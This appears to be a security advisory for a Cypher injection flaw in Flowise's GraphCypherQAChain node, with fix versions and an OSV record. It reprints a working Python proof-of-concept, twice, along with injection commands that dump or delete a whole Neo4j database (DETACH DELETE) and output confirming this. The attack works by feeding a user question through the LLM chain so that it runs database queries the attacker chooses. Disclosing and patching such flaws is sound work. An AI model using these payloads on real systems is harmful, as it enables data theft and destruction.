CVE-2026-41274: Flowise Cypher Injection Vulnerability
HIGH
Advisory Identifier:
GHSA-28g4-38q8-3cwc
CWE-943
Published
Advisory Summary
CVE-2026-41274 is a HIGH cypher injection vulnerability (CWE-943: Improper Neutralization of Special Elements in Data Query Logic) affecting Flowise libraries in the npm ecosystem. The issue involves cypher injection in graphcypherqachain. Remediation is available by upgrading affected packages to version 3.1.0.
CVE-2026-41274 at a Glance
CVE Identifier
CVE-2026-41274
GHSA Identifier
GHSA-28g4-38q8-3cwc
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Affected Product
Flowise
Package Ecosystem
npm
Published Date
Last Updated
How to Fix CVE-2026-41274
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flowise
fixed: 3.1.0
npm install flowise@3.1.0
flowise-components
fixed: 3.1.0
npm install flowise-components@3.1.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowiseHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-41274, inspect your project dependencies using npm:
npm ls flowiseAnalyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.0), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic, where the product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
## Vulnerability Details
| Field | Value |
|-------|-------|
| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |
| Affected Lines | 193-219 (run method) |
## Prerequisites
To exploit this vulnerability, the following conditions must be met:
1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server
2. **Vulnerable Chatflow Configuration**:
- A chatflow containing the **Graph Cypher QA Chain** node
- Connected to a **Chat Model** (e.g., ChatOpenAI)
- Connected to a **Neo4j Graph** node with valid credentials
3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`)
<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />
## Root Cause
In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:
```typescript
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
```
## Impact
An attacker with access to a vulnerable chatflow can:
1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields
2. **Data Modification**: Create, update, or delete nodes and relationships
3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database
4. **Schema Discovery**: Enumerate database structure, labels, and properties
## Proof of Concept
### poc.py
```python
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
```
### Test Environment Setup
**1. Start Neo4j with Docker:**
```bash
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
```
**2. Create test data (in Neo4j Browser at http://localhost:7474):**
```cypher
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
```
**3. Configure Flowise chatflow** (see screenshot)
### Exploitation Steps
```bash
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
```
### Evidence
**Cypher injection reaching Neo4j directly:**
```
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
```
The error message comes from Neo4j, proving the injected Cypher is executed directly.
**Data destruction confirmed:**
```
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
```
Empty result indicates all nodes were deleted.
**Sensitive data exfiltration:**
```
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
```
CVE-2026-41274 Affected Flowise Versions
2 component(s)
Fixed Versions:
3.1.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.1.0
|
3.1.0
|
|
flowise-components
|
npm |
< 3.1.0
|
3.1.0
|
References
Frequently Asked Questions
What is CVE-2026-41274?
CVE-2026-41274 is a security vulnerability in Flowise involving Cypher Injection in GraphCypherQAChain under CWE-943: Improper Neutralization of Special Elements in Data Query Logic.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.0 across affected packages: flowise, flowise-components.
What version fixes CVE-2026-41274?
Upgrading to 3.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.0. Upgrade your dependency to 3.1.0 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.0. Upgrade your dependency to 3.1.0 or later.
What CWE is associated with CVE-2026-41274?
CVE-2026-41274 is classified under CWE-943: Improper Neutralization of Special Elements in Data Query Logic (The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.).
How can I check npm dependencies for CVE-2026-41274?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-28g4-38q8-3cwc",
"modified" : "2026-04-24T19:40:33Z",
"published" : "2026-04-16T21:54:26Z",
"aliases" : [ "CVE-2026-41274" ],
"summary" : "Flowise: Cypher Injection in GraphCypherQAChain",
"details" : "## Summary\n\nThe GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |\n| Affected Lines | 193-219 (run method) |\n\n## Prerequisites\n\nTo exploit this vulnerability, the following conditions must be met:\n\n1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server\n2. **Vulnerable Chatflow Configuration**:\n - A chatflow containing the **Graph Cypher QA Chain** node\n - Connected to a **Chat Model** (e.g., ChatOpenAI)\n - Connected to a **Neo4j Graph** node with valid credentials\n3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`)\n\n<img width=\"1627\" height=\"1202\" alt=\"vulnerability-diagram-prerequisites\" src=\"https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0\" />\n\n## Root Cause\n\nIn `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:\n\n```typescript\nasync run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {\n const chain = nodeData.instance as GraphCypherQAChain\n // ...\n \n const obj = {\n query: input // User input passed directly\n }\n \n // ...\n response = await chain.invoke(obj, { callbacks }) // Executed without escaping\n}\n```\n\n## Impact\n\nAn attacker with access to a vulnerable chatflow can:\n\n1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields\n2. **Data Modification**: Create, update, or delete nodes and relationships\n3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database\n4. **Schema Discovery**: Enumerate database structure, labels, and properties\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Cypher injection in GraphCypherQAChain (CWE-943)\n\nUsage:\n python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>\n\"\"\"\n\nimport argparse\nimport json\nimport urllib.request\nimport urllib.error\n\ndef post_json(url, data, headers):\n req = urllib.request.Request(\n url,\n data=json.dumps(data).encode(\"utf-8\"),\n headers={**headers, \"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n with urllib.request.urlopen(req, timeout=15) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:3000\")\n ap.add_argument(\"--flow-id\", required=True, help=\"Chatflow ID with GraphCypherQAChain\")\n ap.add_argument(\"--token\", help=\"Bearer token / API key if required\")\n ap.add_argument(\n \"--injection\",\n default=\"MATCH (n) RETURN n\",\n help=\"Cypher payload to inject\",\n )\n args = ap.parse_args()\n\n payload = {\n \"question\": args.injection,\n \"overrideConfig\": {},\n }\n\n headers = {}\n if args.token:\n headers[\"Authorization\"] = f\"Bearer {args.token}\"\n\n url = args.target.rstrip(\"/\") + f\"/api/v1/prediction/{args.flow_id}\"\n\n try:\n status, body = post_json(url, payload, headers)\n print(body if body else f\"(empty response, HTTP {status})\")\n except urllib.error.HTTPError as e:\n print(e.read().decode(\"utf-8\", errors=\"replace\"))\n except Exception as e:\n print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Test Environment Setup\n\n**1. Start Neo4j with Docker:**\n```bash\ndocker run -d \\\n --name neo4j-test \\\n -p 7474:7474 \\\n -p 7687:7687 \\\n -e NEO4J_AUTH=neo4j/testpassword123 \\\n neo4j:latest\n```\n\n**2. Create test data (in Neo4j Browser at http://localhost:7474):**\n```cypher\nCREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})\nCREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})\nCREATE (a)-[:KNOWS]->(b)\n```\n\n**3. Configure Flowise chatflow** (see screenshot)\n\n### Exploitation Steps\n\n```bash\n# Data destruction (DANGEROUS)\npython poc.py --target http://127.0.0.1:3000 \\\n --flow-id <FLOW_ID> --token <API_KEY> \\\n --injection \"MATCH (n) DETACH DELETE n\"\n```\n\n### Evidence\n\n**Cypher injection reaching Neo4j directly:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...\n{\"text\":\"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\\n\\\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\\\"\\n ^\",...}\n```\nThe error message comes from Neo4j, proving the injected Cypher is executed directly.\n\n**Data destruction confirmed:**\n```\n$ python poc.py ... --injection \"MATCH (n) DETACH DELETE n\"\n{\"json\":[],...}\n```\nEmpty result indicates all nodes were deleted.\n\n**Sensitive data exfiltration:**\n```\n$ python poc.py ... --injection \"MATCH (n) RETURN n\"\n{\"json\":[{\"n\":{\"name\":\"Alice\",\"secret\":\"SSN-123-45-6789\"}},{\"n\":{\"name\":\"Bob\",\"secret\":\"SSN-987-65-4321\"}}],...}\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.13"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.13"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-28g4-38q8-3cwc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41274"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-943" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T21:54:26Z",
"nvd_published_at" : "2026-04-23T22:16:38Z"
}
}